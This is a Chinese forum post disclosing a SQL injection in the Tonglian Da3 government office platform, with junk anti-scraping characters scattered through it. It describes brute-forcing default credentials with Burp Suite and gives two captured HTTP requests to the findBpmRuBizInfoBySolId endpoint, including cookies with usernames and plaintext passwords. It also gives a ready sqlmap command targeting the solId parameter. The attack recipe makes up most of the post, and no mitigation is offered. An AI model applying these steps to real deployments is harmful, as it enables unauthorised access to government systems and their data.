同联Da3协同办公平台前台通用sql injection漏洞

admin

平台简介： 5 h ^6 l3 Q0 Q2 Z3 [( }

- |8 ^1 n2 \4 \( v

/ T5 {" B. @% Z8 k& r0 u1 A7 ]   . L( I C- s" l, N- o9 w. s* u; J

# c+ U- i6 ]0 o

: z5 R# ~, N3 `- a7 b& W- k 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
, s Z) ]8 d" I. F! U同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ # g9 B- k; D& ?

" u2 |: G) q( T4 b+ b( w9 k$ W  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： & D v7 P* m0 U: u6 |

7 v; f; [" Q' U& k8 q$ ?

 

2 B1 v: Z. O' v& ^' i http://1.1.1.1:7197/cap-aco/#（案例2-）

" ~' B; v& T( B! k$ u0 r- i

8 {2 _8 @2 F1 Y; e! i/ [7 U http://www.XXOO.com （案例1-官网网站）

6 g; Y' B# j: J* q" f

: R: a# [7 d6 s/ q l, L   9 `9 n! h) K4 W* h! c o

漏洞详情: * C& U8 K- o" n% J \* J

' \! a! B5 V7 z% V5 w( U

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 / R2 _* n: x/ x. @

- o- V ^+ j6 R

0 O9 h5 t7 A- R7 g1 `      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

5 V$ m1 s k2 D6 D. H9 C9 z

  3 B3 Z6 r2 c+ Q* W' D* l

  , t$ V i8 f% m$ ?1 ^' {0 f( K5 y

! {( W$ b4 ^( D2 ~

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

& ^& B2 X. B' f* A) k

1、案例1-官方网站

2 T+ I" P5 T4 m# i8 j$ u' ^

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 " d/ K& ~' x4 K0 ^) i' \! y; W5 H

c) E" Y- ~, d' r: \4 O

: J1 }: z7 f6 S. q- d" } Host: www.XXOO.com # {( l3 g. d9 L0 o9 w4 a

C* h! e" \) o! ]0 W6 K% Y# t

n) y; }: o9 ^6 C/ T" m Proxy-Connection: Keep-Alive ) K+ U: C! R. w, o

9 F# n) V8 n& v6 S9 B Accept: application/json, text/javascript, */*; q=0.01

( ^! `8 u4 W' h" h H. M1 M

Accept-Language: zh-CN 0 \6 n/ @6 j7 C' s& i% Z

+ ^! l# S9 }+ w6 z8 q$ m( H

Content-Type: application/json - D# _% [9 ~) A2 j+ d

3 p7 t) ~5 q1 d e

5 w7 D5 N4 H5 d- g User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

3 p1 J6 D& d, `) W' l1 l( A4 Y7 B

X-Requested-With: XMLHttpRequest ! @ g- @1 X% ?( N) @+ k3 L

! Y0 w$ t9 d: Y8 F: y s B Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

: h$ t$ f% w! @ Accept-Encoding: gzip, deflate, sdch

j+ W' i0 e$ J1 W6 L6 ?& f0 J

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e - e; F7 I1 s E( Q9 V

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 4 Y3 y. Z3 `# W) |

0 R* |" E& l6 F1 ~) ~! d: k

 

1 R' G; y7 N6 |! x& `

' S1 @% @6 v* }  

& c( Z( G L' m; X9 n

 

5 q) K2 q, f; ?5 B

  5 ?) W1 B+ V+ q. p, Y

6 s$ f# W7 D5 M

  8 e, \. W7 b# o; o! W

2、案例2-某天河云平台 : H1 G3 r5 u, r9 U& r# I

7 ^4 v: c7 |' k t! V- N4 Y/ R* Y: H6 k

( P( ]1 a- I" G' c. t GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 ! h! Y$ t6 Y; ?* h3 j

. L3 u7 ?' O4 B Host: 1.1.1.:7197

Accept: application/json, text/javascript, */*; q=0.01

: r+ R$ R6 J/ r6 X+ y

* A+ v& a$ _3 H! ]6 h9 [$ T' S X-Requested-With: XMLHttpRequest 9 Y. P6 |+ a v1 b2 @& x% s

0 k% Z$ O1 S9 P, t4 R

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 \" W/ L9 b' l9 |

0 g- M/ E P7 z% P! j$ G

Content-Type: application/json $ h8 O% F* O- H" C

, c2 N1 @/ H8 A' m

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8

$ p3 w x" B' X' o7 o

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

; ]9 A& h; `+ @5 Z! O n

: S7 |' [! s) A8 m2 B. F Connection: close

5 T n# Q9 o; u% Z- ?1 W 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

) C4 B0 C& J0 U) c2 |

 

. }& ?2 ?# ?8 v0 g! e! f8 B